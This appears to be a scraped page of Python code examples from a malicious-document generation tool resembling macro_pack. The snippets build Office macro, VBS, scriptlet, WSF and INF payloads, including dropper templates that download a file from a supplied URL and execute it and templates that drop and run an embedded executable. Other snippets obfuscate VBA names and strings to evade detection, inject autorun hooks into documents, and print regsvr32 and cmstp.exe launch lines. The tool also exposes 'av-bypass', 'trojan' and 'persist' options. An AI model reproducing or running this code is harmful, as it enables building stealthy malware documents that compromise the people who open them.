Example #1
0
    def _processEmbedExeTemplate(self):
        # open file containing template values       
        cmdFile = self.getCMDFile()
        if cmdFile is None or cmdFile == "":         
            extractedFilePath = utils.randomAlpha(5)+os.path.splitext(self.mpSession.embeddedFilePath)[1]
        else:
            f = open(cmdFile, 'r')
            params = shlex.split(f.read())
            extractedFilePath = params[0]
            f.close()
            
            
        logging.info("   [-] Output path when file is extracted: %s" % extractedFilePath)

        content = vbLib.templates.EMBED_EXE
        content = content.replace("<<<OUT_FILE>>>", extractedFilePath)
        #top + next + then1 + sub_proc+ sub_open
        # generate random file name
        vbaFile = os.path.abspath(os.path.join(self.workingPath,utils.randomAlpha(9)+".vba"))
        logging.info("   [-] Template %s VBA generated in %s" % (self.template, vbaFile)) 
        # Write in new file 
        f = open(vbaFile, 'w')
        f.write(content)
        f.close()
        if os.path.isfile(cmdFile):
            os.remove(cmdFile)
        logging.info("   [-] OK!")
    def run(self):
        logging.info(" [+] VBA strings obfuscation ...")
        for vbaFile in self.getVBAFiles():
            # Compute new random function and variable names for HexToStr
            newFunctionName = randomAlpha(12)
            newVarName1 = randomAlpha(12)
            newVarName2 = randomAlpha(12)

            f = open(vbaFile)
            content = f.readlines()
            f.close()

            # Split string
            content = self._splitStrings(content)
            # mask string
            content = self._maskStrings(content, newFunctionName)

            # Write in new file
            f = open(vbaFile, 'w')
            f.writelines(content)
            f.write(
                self.hexToStringRoutine.replace(
                    "HexToStr", newFunctionName).replace(
                        "counter",
                        newVarName1).replace("hexString", newVarName2))
            f.close()
        logging.info("   [-] OK!")
Example #3
0
    def generate(self):
        logging.info(" [+] Generating %s file..." % self.outputFileType)
        # Fill template
        infContent = INF_TEMPLATE

        if not self.mpSession.dosCommand:

            if str(self.targetPath).lower().endswith(".dll"):
                logging.info("   [-] Target is DLL...")
                # Ex to generate calc launching dll (OCX payload for 64bit PC:
                # msfvenom -p windows/x64/exec cmd=calc.exe -f dll -o calc64.dll
                infContent = infContent.replace("<<<TARGET_PATH>>>",
                                                "%s" % self.targetPath)
                infContent = infContent.replace("<<<SECTION_TYPE>>>",
                                                "UnRegisterOCXs")
            elif str(self.targetPath).lower().endswith(".sct"):
                logging.info("   [-] Target is Scriptlet file...")
                infContent = infContent.replace(
                    "<<<TARGET_PATH>>>",
                    "%%11%%\\scrobj.dll,NI,%s" % self.targetPath)
                infContent = infContent.replace("<<<SECTION_TYPE>>>",
                                                "UnRegisterOCXs")
            elif str(self.targetPath).lower().endswith(".exe"):
                logging.info("   [-] Target is exe file...")
                infContent = infContent.replace("<<<TARGET_PATH>>>",
                                                self.targetPath)
                infContent = infContent.replace("<<<SECTION_TYPE>>>",
                                                "RunPreSetupCommands")
            else:
                logging.warn(
                    "   [!] Could not recognize extension, assuming executable file or command line."
                )
                infContent = infContent.replace("<<<TARGET_PATH>>>",
                                                self.mpSession.dosCommand)
                infContent = infContent.replace("<<<SECTION_TYPE>>>",
                                                "RunPreSetupCommands")
        else:
            logging.warn("   [-] Target is command line.")
            infContent = infContent.replace("<<<TARGET_PATH>>>",
                                            self.mpSession.dosCommand)
            infContent = infContent.replace("<<<SECTION_TYPE>>>",
                                            "RunPreSetupCommands")

        # Randomize mandatory info
        infContent = infContent.replace("<<<SECTION_NAME>>>", randomAlpha(8))
        infContent = infContent.replace("<<<SERVICE_NAME>>>", randomAlpha(8))

        # Write in new file
        f = open(self.outputFilePath, 'w')
        f.writelines(infContent)
        f.close()

        logging.info("   [-] Generated %s file path: %s" %
                     (self.outputFileType, self.outputFilePath))
        logging.info("   [-] Test with : cmstp.exe /ns /s %s\n" %
                     self.outputFilePath)
Example #4
0
def testVBGenerators():
    """ 
    will run test of MS Office and VBS based formats 
    The tests consist into creating the documents, then running them triggering a file creation macro. Then checking the file is well created
    The tests are run in both cleartext and obfuscated mode.
    A third test will check the correct generation of CMD template (pop calc.exe and check it)
    """
    result = True
    vbaTestFile = "testmacro.vba"
    logging.info(" [+] Build macro test file...")
    with open(vbaTestFile, 'w') as outfile:
        outfile.write(VBA)
    for testFormat in MSTypes.VB_FORMATS:
        testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat]
        try:
            _clearTextVBGenerationTest(testFile, testFormat)
        except:
            result = False
            testSummary[testFormat + " in Clear Text"] = "[KO]"
            logging.exception("   [!] Error!\n")

        if os.path.isfile(testFile):
            os.remove(testFile)

        testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat]
        try:
            _obfuscatedVBGenerationTest(testFile, testFormat)
        except:
            result = False
            testSummary[testFormat + " obfuscated"] = "[KO]"
            logging.exception("   [!] Error!\n")

        if os.path.isfile(testFile):
            os.remove(testFile)

        testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat]
        try:
            _obfuscatedVBCmdTemplateGenerationTest(testFile, testFormat)
        except:
            result = False
            testSummary[testFormat + " CMD template"] = "[KO]"
            logging.exception("   [!] Error!\n")

        try:
            if os.path.isfile(testFile):
                os.remove(testFile)
        except:
            logging.exception("   [!] Error while attempting to remove %s!\n" %
                              testFile)

    os.remove(vbaTestFile)
    return result
Example #5
0
    def generate(self):
        logging.info(" [+] Generating %s file..." % self.outputFileType)
        self.vbScriptConvert()
        f = open(self.getMainVBAFile() + ".vbs")
        vbsContent = f.read()
        f.close()

        vbsContent = vbsContent.replace("WScript.Echo ", "MsgBox ")

        # Write VBS in template
        sctContent = SCT_TEMPLATE
        sctContent = sctContent.replace("<<<random>>>", randomAlpha(8))
        sctContent = sctContent.replace("<<<CLS1>>>", ''.join([
            random.choice('0123456789ABCDEF') for x in range(8)
        ]))  # @UnusedVariable
        sctContent = sctContent.replace("<<<CLS4>>>", ''.join([
            random.choice('0123456789ABCDEF') for x in range(12)
        ]))  # @UnusedVariable
        sctContent = sctContent.replace("<<<VBS>>>", vbsContent)
        sctContent = sctContent.replace("<<<MAIN>>>", self.startFunction)
        # Write in new HTA file
        f = open(self.outputFilePath, 'w')
        f.writelines(sctContent)
        f.close()
        logging.info("   [-] Generated Scriptlet file: %s" %
                     self.outputFilePath)
        logging.info(
            "   [-] Test with : \nregsvr32 /u /n /s /i:%s scrobj.dll\n" %
            self.outputFilePath)
        if os.path.getsize(self.outputFilePath) > (1024 * 512):
            logging.warning(
                "   [!] Warning: The resulted %s file seems to be bigger than 512k, it will probably not work!"
                % self.outputFileType)
    def _processEmbedExeTemplate(self):
        """ Drop and execute embedded file """
        paramArray = [MPParam("Command line parameters", optional=True)]
        self.fillInputParams2(paramArray)
        # generate random file name
        fileName = utils.randomAlpha(7) + os.path.splitext(
            self.mpSession.embeddedFilePath)[1]

        logging.info("   [-] File extraction path: %%temp%%\\%s" % fileName)

        # Add required functions
        self.addVBLib(vbLib.WscriptExec)
        self.addVBLib(vbLib.WmiExec)
        self.addVBLib(vbLib.ExecuteCMDAsync)
        content = vbLib.templates.EMBED_EXE
        content = content.replace("<<<FILE_NAME>>>", fileName)
        if getParamValue(paramArray, "Command line parameters") != "":
            content = content.replace(
                "<<<PARAMETERS>>>", " & \" %s\"" %
                getParamValue(paramArray, "Command line parameters"))
        else:
            content = content.replace("<<<PARAMETERS>>>", "")
        vbaFile = self.addVBAModule(content)

        logging.debug("   [-] Template %s VBA generated in %s" %
                      (self.template, vbaFile))
        logging.info("   [-] OK!")
Example #7
0
    def _replaceConsts(self, macroLines):

        # Identify and replace constants
        constList = ["0", "1", "2"]

        for constant in constList:
            # Create random string to replace constant
            keyTmp = randomAlpha(10)
            constDeclaration = "Const " + keyTmp + " = " + constant + "\n"
            macroLines.insert(0, constDeclaration)
            newKeyWord = " " + keyTmp + ", "
            keywordTmp = " " + constant + ", "
            for n, line in enumerate(macroLines):
                macroLines[n] = line.replace(keywordTmp, newKeyWord)
            newKeyWord = "," + keyTmp + ","
            keywordTmp = "," + constant + ","
            for n, line in enumerate(macroLines):
                macroLines[n] = line.replace(keywordTmp, newKeyWord)
            newKeyWord = ", " + keyTmp + ")"
            keywordTmp = ", " + constant + ")"
            for n, line in enumerate(macroLines):
                macroLines[n] = line.replace(keywordTmp, newKeyWord)
            newKeyWord = "(" + keyTmp + ","
            keywordTmp = "(" + constant + ","
            for n, line in enumerate(macroLines):
                macroLines[n] = line.replace(keywordTmp, newKeyWord)
        return macroLines
    def _processDropper2Template(self):
        """ Generate DROPPER2 template for VBA and VBS based """
        # Get required parameters
        realPathKey = "File name in TEMP or full file path (environment variables can be used)."
        paramArray = [
            MPParam("target_url"),
            MPParam(realPathKey, optional=True)
        ]
        self.fillInputParams2(paramArray)
        downloadPath = getParamValue(paramArray, realPathKey)
        targetUrl = getParamValue(paramArray, "target_url")

        # build target path
        if downloadPath == "":
            downloadPath = utils.randomAlpha(8) + os.path.splitext(
                targetUrl)[1]
        downloadPath = self._targetPathToVba(downloadPath)

        # Add required functions
        self.addVBLib(vbLib.WscriptExec)
        self.addVBLib(vbLib.WmiExec)
        self.addVBLib(vbLib.ExecuteCMDAsync)

        content = vbLib.templates.DROPPER2
        content = content.replace("<<<URL>>>", targetUrl)
        content = content.replace("<<<DOWNLOAD_PATH>>>", downloadPath)
        # generate random file name
        vbaFile = self.addVBAModule(content)

        logging.debug("   [-] Template %s VBA generated in %s" %
                      (self.template, vbaFile))
        logging.info("   [-] OK!")
Example #9
0
    def generate(self):
        logging.info(" [+] Generating %s file..." % self.outputFileType)
        self.vbScriptConvert()
        f = open(self.getMainVBAFile() + ".vbs")
        vbsContent = f.read()
        f.close()

        #vbsContent = vbsContent.replace("WScript.Echo ", "MsgBox ")

        # Write VBS in template
        wsfContent = WSF_TEMPLATE
        wsfContent = wsfContent.replace("<<<random>>>", randomAlpha(8))
        wsfContent = wsfContent.replace("<<<VBS>>>", vbsContent)
        wsfContent = wsfContent.replace("<<<MAIN>>>", self.startFunction)
        # Write in new HTA file
        f = open(self.outputFilePath, 'w')
        f.writelines(wsfContent)
        f.close()
        logging.info("   [-] Generated Windows Script File: %s" %
                     self.outputFilePath)
        logging.info("   [-] Test with : \nwscript %s\n" % self.outputFilePath)
        if os.path.getsize(self.outputFilePath) > (1024 * 512):
            logging.warning(
                "   [!] Warning: The resulted %s file seems to be bigger than 512k, it will probably not work!"
                % self.outputFileType)
Example #10
0
 def addVBAModule(self, moduleContent):
     """ Add a new VBA module file containing moduleContent and with random name """
     newModuleName = os.path.join(self.workingPath,
                                  utils.randomAlpha(9) + ".vba")
     f = open(newModuleName, 'w')
     f.write(moduleContent)
     f.close()
Example #11
0
    def _injectCustomUi(self):
        customUIfile = utils.randomAlpha(8)+".xml" # Generally something like customUI.xml
        customUiContent = \
"""<customUI xmlns="http://schemas.microsoft.com/office/2006/01/customui" onLoad="AutoOpen" ></customUI>"""       
        relationShipContent =  \
"""<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/thumbnail" Target="docProps/thumbnail.jpeg"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="ppt/presentation.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="%s" Type="http://schemas.microsoft.com/office/2007/relationships/ui/extensibility" Target="/customUI/%s" /></Relationships>""" \
 % ("rId5", customUIfile)
        generatedFile = self.outputFilePath
        #  0 copy file to temp dir
        fileCopy = shutil.copy2(generatedFile, self.workingPath)
        # 1 extract zip file in temp working dir
        zipDir = os.path.join(self.workingPath, "zip")
        zipTest = ZipFile(fileCopy)
        zipTest.extractall(zipDir)
        # 2 Set customUi
        customUiDir = os.path.join(zipDir, "customUI")
        if not os.path.exists(customUiDir):
                os.makedirs(customUiDir)
        customUiFile =   os.path.join(customUiDir, customUIfile)      
        with open (customUiFile, "w") as f:
                f.write(customUiContent)
        # 3 Set relationships
        relsFile = os.path.join(zipDir, "_rels", ".rels")
        with open (relsFile, "w") as f:
            f.write(relationShipContent)
        # 3 Recreate archive
        shutil.make_archive(os.path.join(self.workingPath,"rezipped_archive"), format="zip", root_dir=os.path.join(self.workingPath, "zip")) 
        # 4 replace file
        os.remove(generatedFile)
        shutil.copy2(os.path.join(self.workingPath,"rezipped_archive.zip"), generatedFile)
Example #12
0
    def genSCT(self):
        logging.info("   [-] Generating Scriptlet file...")
        f = open(self.getMainVBAFile() + ".vbs")
        vbsContent = f.read()
        f.close()

        vbsContent = vbsContent.replace("WScript.Echo ", "MsgBox ")

        # Write VBS in template
        sctContent = SCT_TEMPLATE
        sctContent = sctContent.replace("<<<random>>>", randomAlpha(8))
        sctContent = sctContent.replace(
            "<<<CLS1>>>",
            ''.join([random.choice('0123456789ABCDEF') for x in range(8)]))
        sctContent = sctContent.replace(
            "<<<CLS4>>>",
            ''.join([random.choice('0123456789ABCDEF') for x in range(12)]))
        sctContent = sctContent.replace("<<<VBS>>>", vbsContent)
        sctContent = sctContent.replace("<<<MAIN>>>", self.startFunction)
        # Write in new HTA file
        f = open(self.outputFilePath, 'w')
        f.writelines(sctContent)
        f.close()
        logging.info("   [-] Generated Scriptlet file: %s" %
                     self.outputFilePath)
Example #13
0
    def _replaceFunctions(self, macroLines):
        # Identify function, subs and variables names
        logging.info("   [-] Rename functions...")
        keyWords = []
        for line in macroLines:
            matchObj = re.match(
                r'.*(Sub|Function)\s*([a-zA-Z0-9_]+)\s*\(.*\).*', line,
                re.M | re.I)
            if matchObj:
                keyword = matchObj.groups()[1]
                if keyword not in self.reservedFunctions:
                    keyWords.append(keyword)
                    self.reservedFunctions.append(keyword)

        # Replace functions and function calls by random string
        for keyWord in keyWords:
            keyTmp = randomAlpha(randint(
                8, 20))  # Generate random names with random size
            for n, line in enumerate(macroLines):
                matchObj = re.match(r'.*".*%s.*".*' % keyWord, line, re.M
                                    | re.I)  # check if word is inside a string
                if matchObj:
                    if "Application.Run" in line:  # dynamic function call detected
                        macroLines[n] = line.replace(keyWord, keyTmp)
                    # else word is part of normal string so we do not touch
                else:
                    macroLines[n] = line.replace(keyWord, keyTmp)
        return macroLines
Example #14
0
    def _replaceLibImports(self, macroLines):

        # Identify function, subs and variables names
        keyWords = []
        for line in macroLines:
            matchObj = re.match(
                r'.*(Sub|Function)\s*([a-zA-Z0-9_]+)\s*Lib\s*"(.+)"\s*.*',
                line, re.M | re.I)
            if matchObj:
                keyword = matchObj.groups()[1]
                keyWords.append(keyword)

        # Remove duplicates
        keyWords = list(set(keyWords))

        # Replace functions and function calls by random string
        for keyWord in keyWords:

            keyTmp = randomAlpha(randint(
                8, 20))  # Generate random names with random size
            #logging.debug("Keyword:%s,keyTmp:%s "%(keyWord,keyTmp))
            for n, line in enumerate(macroLines):
                if "Lib " in line and keyWord + " " in line:  # take care of declaration
                    if "Alias " in line:  # if fct already has an alias we can change the original keyword
                        #logging.debug(line)
                        macroLines[n] = line.replace(" %s " % keyWord,
                                                     " %s " % keyTmp, 1)
                        #logging.debug(macroLines[n])
                    else:
                        # We have to create a new alias
                        matchObj = re.match(
                            r'.*(Sub|Function)\s*([a-zA-Z0-9_]+)\s*Lib\s*"(.+)"(\s*).*',
                            line, re.M | re.I)
                        #logging.debug(line)
                        line = line.replace(" %s " % keyWord, " %s " % keyTmp)
                        #logging.debug(line+"\n")
                        macroLines[n] = line.replace(
                            matchObj.groups()[2],
                            matchObj.groups()[2] + "\" Alias \"%s" % keyWord)
                else:
                    matchObj = re.match(
                        r'.*".*%s.*".*' % keyWord, line,
                        re.M | re.I)  # check if word is inside a string
                    if matchObj:
                        if "Application.Run" in line:  # dynamic function call detected
                            macroLines[n] = line.replace(keyWord, keyTmp)

                        # else word is part of normal string so we do not touch
                    else:
                        if keyWord + " " in line or keyWord + "(" in line:
                            #logging.debug(line)
                            macroLines[n] = line.replace(keyWord, keyTmp)
                            #logging.debug(macroLines[n])
                        #else:
                        #    macroLines[n] = line.replace(keyWord, keyTmp)
        return macroLines
Example #15
0
 def addVBAModule(self, moduleContent, moduleName=None):
     """ 
     Add a new VBA module file containing moduleContent and with random name
     Returns name of new VBA file
     """
     if moduleName is None:
         moduleName = utils.randomAlpha(9)
         modulePath = os.path.join(self.workingPath, moduleName + ".vba")
     else:
         modulePath = os.path.join(self.workingPath,
                                   utils.randomAlpha(9) + ".vba")
     if moduleName in self.mpSession.vbModulesList:
         logging.debug("    [,] %s module already loaded" % moduleName)
     else:
         self.mpSession.vbModulesList.append(moduleName)
         f = open(modulePath, 'w')
         f.write(moduleContent)
         f.close()
     return modulePath
Example #16
0
 def _fillGenericTemplate(self, content, values):
     for value in values:
         content = content.replace("<<<TEMPLATE>>>", value, 1)
     
     # generate random file name
     vbaFile = os.path.abspath(os.path.join(self.workingPath,utils.randomAlpha(9)+".vba"))
     logging.info("   [-] Template %s VBA generated in %s" % (self.template, vbaFile)) 
     # Write in new file 
     f = open(vbaFile, 'w')
     f.write(content)
     f.close()
    def _replaceFunctions(self):
        # Identify function, subs and variables names
        self._findAllFunctions()

        # Different situation surrounding variables
        varDelimitors = [(" ", " "), ("\t", " "), ("\t", "("), ("\t", " ="),
                         (" ", "("), ("(", "("), (" ", "\n"), (" ", ","),
                         (" ", " ="), (".", " "), (".", "\"")]

        # Replace functions and function calls by random string
        for keyWord in self.vbaFunctions:
            keyTmp = randomAlpha(randint(
                8, 20))  # Generate random names with random size
            self.reservedFunctions.append(keyTmp)

            for vbaFile in self.getVBAFiles():
                if self.mpSession.obfOnlyMain:
                    if vbaFile != self.getMainVBAFile():
                        continue
                f = open(vbaFile)
                content = f.readlines()
                f.close()

                for varDelimitor in varDelimitors:
                    newKeyWord = varDelimitor[0] + keyTmp + varDelimitor[1]
                    keywordTmp = varDelimitor[0] + keyWord + varDelimitor[1]

                    for n, line in enumerate(content):
                        #if "GetBuffer" in line:
                        #if keyWord == "StrEncoder":
                        #logging.info("|%s|->|%s|" %(keywordTmp,newKeyWord))
                        #if keywordTmp in line:
                        #    logging.info("line: %s" % (line))
                        #    logging.info("Found %s, new keyword will be %s" % (keywordTmp,newKeyWord))

                        extractedStrings = extractStringsFromText(line)
                        #if extractedStrings != "":
                        #    logging.info(extractedStrings)
                        """
                        matchObj = re.match( r'.*".*%s.*".*' %keyWord, line, re.M|re.I) # check if word is inside a string
                        if matchObj:"""
                        if keyWord in extractedStrings:
                            if "Application.Run" in line or "Application.OnTime" in line:  # dynamic function call detected
                                content[n] = line.replace(
                                    keywordTmp, newKeyWord)
                        else:
                            content[n] = line.replace(keywordTmp, newKeyWord)

                # Write in new file
                f = open(vbaFile, 'w')
                f.writelines(content)
                f.close()
Example #18
0
    def run(self):

        logging.info(" [+] Prepare %s file generation..." %
                     self.outputFileType)
        if not self.check():
            return
        # Embed file if asked
        if self.embeddedFilePath:
            idTag = utils.randomAlpha(10)
            self.embedFile(idTag)
        self.runObfuscators()

        self.generate()
    def _replaceVariables(self, macroLines):
        logging.info("   [-] Rename variables...")
        #  variables names
        keyWords = []
        # format something As ...
        for line in macroLines:
            findList = re.findall(
                r'([a-zA-Z0-9_]+)\s+As\s+(String|Integer|Long|Object|Byte|Variant|Boolean|Any|Word.Application|Excel.Application)',
                line, re.I)
            if findList:
                for keyWord in findList:
                    if keyWord[
                            0] not in self.reservedFunctions:  # prevent erase of previous variables and function names
                        keyWords.append(keyWord[0])
                        self.reservedFunctions.append(keyWord[0])
        # format Set <something> =  ...
        for line in macroLines:
            findList = re.findall(r'Set\s+([a-zA-Z0-9]+)\s+=', line, re.I)
            if findList:
                for keyWord in findList:
                    if keyWord not in self.reservedFunctions:  # prevent erase of previous variables and function names
                        keyWords.append(keyWord)
                        self.reservedFunctions.append(keyWord)
        #logging.info(str(keyWords))

        # Different situation surrounding variables
        varDelimitors = [(" ", " "), (" ", "."), (" ", "("), (" ", "\n"),
                         (" ", ","), (" ", ")"), (" ", " =")]
        varDelimitors.extend([("\t", " "), ("\t", "."), ("\t", "("),
                              ("\t", "\n"), ("\t", ","), ("\t", ")"),
                              ("\t", " =")])
        varDelimitors.extend([("(", ")"), ("(", ","), ("(", " +"),
                              ("(", " As"), ("(", ".")])
        varDelimitors.extend([("=", " "), ("=", ","), ("=", "\n"),
                              ("Set ", " =")])

        # replace all keywords by random name
        for keyWord in keyWords:
            keyTmp = randomAlpha(randint(
                8, 20))  # Generate random names with random size
            #logging.info("|%s|->|%s|" %(keyWord,keyTmp))
            for varDelimitor in varDelimitors:
                newKeyWord = varDelimitor[0] + keyTmp + varDelimitor[1]
                keywordTmp = varDelimitor[0] + keyWord + varDelimitor[1]
                for n, line in enumerate(macroLines):
                    macroLines[n] = line.replace(keywordTmp, newKeyWord)

        return macroLines
Example #20
0
    def _processEmbedExeTemplate(self):
        """ Drop and execute embedded file """
        # generate random file name
        fileName = utils.randomAlpha(7) + os.path.splitext(
            self.mpSession.embeddedFilePath)[1]

        logging.info("   [-] File extraction path: %%temp%%\\%s" % fileName)

        # Add required functions
        self.addVBLib(vbLib.WscriptExec)
        self.addVBLib(vbLib.WmiExec)
        self.addVBLib(vbLib.ExecuteCMDAsync)
        content = vbLib.templates.EMBED_EXE
        content = content.replace("<<<FILE_NAME>>>", fileName)
        vbaFile = self.addVBAModule(content)

        logging.debug("   [-] Template %s VBA generated in %s" %
                      (self.template, vbaFile))
        logging.info("   [-] OK!")
Example #21
0
def testLnkGenerators():
    result = True
    for testFormat in MSTypes.Shortcut_FORMATS:
        testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat]
        try:
            logging.info(" [+] Testing generation of %s file..." % testFormat)
            os.system("echo shortcut_dest icon_file  | %s %s -G %s -q" %
                      (sys.executable, MP_MAIN, testFile))
            assert (os.path.isfile(testFile))
            logging.info("   [-] Success!\n")
            testSummary[testFormat] = "[OK]"
        except:
            result = False
            testSummary[testFormat] = "[KO]"
            logging.exception("   [!] Error!\n")

        if os.path.isfile(testFile):
            os.remove(testFile)

    return result
Example #22
0
    def _processEmbedExeTemplate(self):
        # open file containing template values       
        cmdFile = self.getCMDFile()
        if cmdFile is None or cmdFile == "":         
            extractedFilePath = utils.randomAlpha(5)+os.path.splitext(self.mpSession.embeddedFilePath)[1]
        else:
            f = open(cmdFile, 'r')
            params = shlex.split(f.read())
            extractedFilePath = params[0]
            f.close()
            
        logging.info("   [-] Output path when file is extracted: %s" % extractedFilePath)

        content = vbLib.templates.EMBED_EXE
        content = content.replace("<<<OUT_FILE>>>", extractedFilePath)
        vbaFile = self.addVBAModule(content)
        logging.info("   [-] Template %s VBA generated in %s" % (self.template, vbaFile)) 
        if os.path.isfile(cmdFile):
            os.remove(cmdFile)
        logging.info("   [-] OK!")
    def _replaceFunctions(self):
        # Identify function, subs and variables names
        logging.info("   [-] Rename functions...")
        self._findAllFunctions()

        # Different situation surrounding variables
        varDelimitors = [(" ", " "), ("\t", " "), ("\t", "("), (" ", "("),
                         (" ", "\n"), (" ", ","), (" ", " ="), (".", " "),
                         (".", "\"")]

        # Replace functions and function calls by random string
        for keyWord in self.vbaFunctions:
            keyTmp = randomAlpha(randint(
                8, 20))  # Generate random names with random size
            #logging.info("|%s|->|%s|" %(keyWord,keyTmp))
            self.reservedFunctions.append(keyTmp)

            for vbaFile in self.getVBAFiles():
                f = open(vbaFile)
                content = f.readlines()
                f.close()

                for varDelimitor in varDelimitors:
                    newKeyWord = varDelimitor[0] + keyTmp + varDelimitor[1]
                    keywordTmp = varDelimitor[0] + keyWord + varDelimitor[1]
                    for n, line in enumerate(content):
                        matchObj = re.match(
                            r'.*".*%s.*".*' % keyWord, line,
                            re.M | re.I)  # check if word is inside a string
                        if matchObj:
                            if "Application.Run" in line:  # dynamic function call detected
                                content[n] = line.replace(
                                    keywordTmp, newKeyWord)
                        else:

                            content[n] = line.replace(keywordTmp, newKeyWord)

                # Write in new file
                f = open(vbaFile, 'w')
                f.writelines(content)
                f.close()
Example #24
0
    def generate(self):
        logging.info(" [+] Generating %s file..." % self.outputFileType)
        self.vbScriptConvert()
        f = open(self.getMainVBAFile() + ".vbs")
        vbsContent = f.read()
        f.close()

        #vbsContent = vbsContent.replace("WScript.Echo ", "MsgBox ")

        # Write VBS in template
        wsfContent = WSF_TEMPLATE
        wsfContent = wsfContent.replace("<<<random>>>", randomAlpha(8))
        wsfContent = wsfContent.replace("<<<VBS>>>", vbsContent)
        wsfContent = wsfContent.replace("<<<MAIN>>>", self.startFunction)
        # Write in new HTA file
        f = open(self.outputFilePath, 'w')
        f.writelines(wsfContent)
        f.close()
        logging.info("   [-] Generated Windows Script File: %s" %
                     self.outputFilePath)
        logging.info("   [-] Test with : \nwscript %s\n" % self.outputFilePath)
Example #25
0
def main(argv):

    logLevel = "INFO"
    # initialize macro_pack session object
    mpSession = mp_session.MpSession(WORKING_DIR, VERSION, MP_TYPE)

    try:
        longOptions = [
            "embed=", "listen=", "generate=", "quiet", "input-file=", "encode",
            "obfuscate", "obfuscate-form", "obfuscate-names",
            "obfuscate-strings", "file=", "template=", "start-function=", "dde"
        ]
        shortOptions = "e:l:s:f:t:G:hqmo"
        # only for Pro release
        if MP_TYPE == "Pro":
            longOptions.extend([
                "vbom-encode", "persist", "keep-alive", "av-bypass", "trojan=",
                "stealth", "dcom=", "background"
            ])
            shortOptions += "T:b"
        # Only enabled on windows
        if sys.platform == "win32":
            longOptions.extend(["run="])

        opts, args = getopt.getopt(argv, shortOptions,
                                   longOptions)  # @UnusedVariable
    except getopt.GetoptError:
        help.printUsage(BANNER, sys.argv[0], mpSession)
        sys.exit(2)
    for opt, arg in opts:
        if opt in ("-o", "--obfuscate"):
            mpSession.obfuscateForm = True
            mpSession.obfuscateNames = True
            mpSession.obfuscateStrings = True
        elif opt == "--obfuscate-form":
            mpSession.obfuscateForm = True
        elif opt == "--obfuscate-names":
            mpSession.obfuscateNames = True
        elif opt == "--obfuscate-strings":
            mpSession.obfuscateStrings = True
        elif opt == "-s" or opt == "--start-function":
            mpSession.startFunction = arg
        elif opt == "-l" or opt == "--listen":
            mpSession.listen = True
            mpSession.listenPort = int(arg)
        elif opt == "-f" or opt == "--input-file":
            mpSession.vbaInput = arg
        elif opt == "-e" or opt == "--embed":
            mpSession.embeddedFilePath = os.path.abspath(arg)
        elif opt == "-t" or opt == "--template":
            if arg is None or arg.startswith(
                    "-") or arg == "help" or arg == "HELP":
                help.printTemplatesUsage(BANNER, sys.argv[0])
                sys.exit(0)
            else:
                mpSession.template = arg
        elif opt == "-q" or opt == "--quiet":
            logLevel = "ERROR"
        elif opt == "--dde":
            if sys.platform == "win32":
                mpSession.ddeMode = True
        elif opt == "--run":
            if sys.platform == "win32":
                mpSession.runTarget = os.path.abspath(arg)
        elif opt in ("-G", "--generate"):
            mpSession.outputFilePath = os.path.abspath(arg)
        elif opt == "-h" or opt == "--help":
            help.printUsage(BANNER, sys.argv[0], mpSession)
            sys.exit(0)
        else:
            if MP_TYPE == "Pro":
                if opt == "--vbom-encode":
                    mpSession.vbomEncode = True
                elif opt == "--persist":
                    mpSession.persist = True
                elif opt == "--keep-alive":
                    mpSession.keepAlive = True
                elif opt == "--av-bypass":
                    mpSession.avBypass = True
                elif opt == "-T" or opt == "--trojan":
                    # Document generation enabled only on windows
                    if sys.platform == "win32":
                        mpSession.outputFilePath = os.path.abspath(arg)
                        mpSession.trojan = True
                elif opt == "-b" or opt == "--background":
                    mpSession.background = True
                elif opt == "--stealth":
                    mpSession.stealth = True
                elif opt == "--dcom":
                    mpSession.dcom = True
                    mpSession.dcomTarget = arg
                else:
                    help.printUsage(BANNER, sys.argv[0], mpSession)
                    sys.exit(0)
            else:
                help.printUsage(BANNER, sys.argv[0], mpSession)
                sys.exit(0)

    os.system('cls' if os.name == 'nt' else 'clear')
    # Logging
    logging.basicConfig(level=getattr(logging, logLevel),
                        format="%(message)s",
                        handlers=[utils.ColorLogFiler()])

    logging.info(colored(BANNER, 'green'))

    logging.info(" [+] Preparations...")
    # check input args
    if mpSession.vbaInput is None:
        # Argument not supplied, try to get file content from stdin
        if os.isatty(0) == False:  # check if something is being piped
            logging.info("   [-] Waiting for piped input feed...")
            mpSession.stdinContent = sys.stdin.readlines()
    else:
        if not os.path.isfile(mpSession.vbaInput):
            logging.error("   [!] ERROR: Could not find %s!" %
                          mpSession.vbaInput)
            sys.exit(2)
        else:
            logging.info("   [-] Input file path: %s" % mpSession.vbaInput)

    if mpSession.trojan == False:
        # verify that output file does not already exist
        if mpSession.outputFilePath is not None:
            if os.path.isfile(mpSession.outputFilePath):
                logging.error("   [!] ERROR: Output file %s already exist!" %
                              mpSession.outputFilePath)
                sys.exit(2)
    else:
        # In trojan mod, file are tojane if they already exist and created if they dont.
        # except for vba output which is not concerned by trojan feature
        if mpSession.outputFilePath is not None and mpSession.outputFileType == MSTypes.VBA:
            if mpSession.outputFilePath is not None:
                if os.path.isfile(mpSession.outputFilePath):
                    logging.error(
                        "   [!] ERROR: Output file %s already exist!" %
                        mpSession.outputFilePath)
                    sys.exit(2)

    #Create temporary folder
    logging.info("   [-] Temporary working dir: %s" % WORKING_DIR)
    if not os.path.exists(WORKING_DIR):
        os.makedirs(WORKING_DIR)

    try:

        # Create temporary work file.
        if mpSession.ddeMode or mpSession.template:
            inputFile = os.path.join(WORKING_DIR, "command.cmd")
        else:
            inputFile = os.path.join(WORKING_DIR,
                                     utils.randomAlpha(9)) + ".vba"
        if mpSession.stdinContent is not None:
            logging.info("   [-] Store std input in file...")
            f = open(inputFile, 'w')
            f.writelines(mpSession.stdinContent)
            f.close()
        else:
            # Create temporary work file
            if mpSession.vbaInput is not None:
                logging.info("   [-] Store input file...")
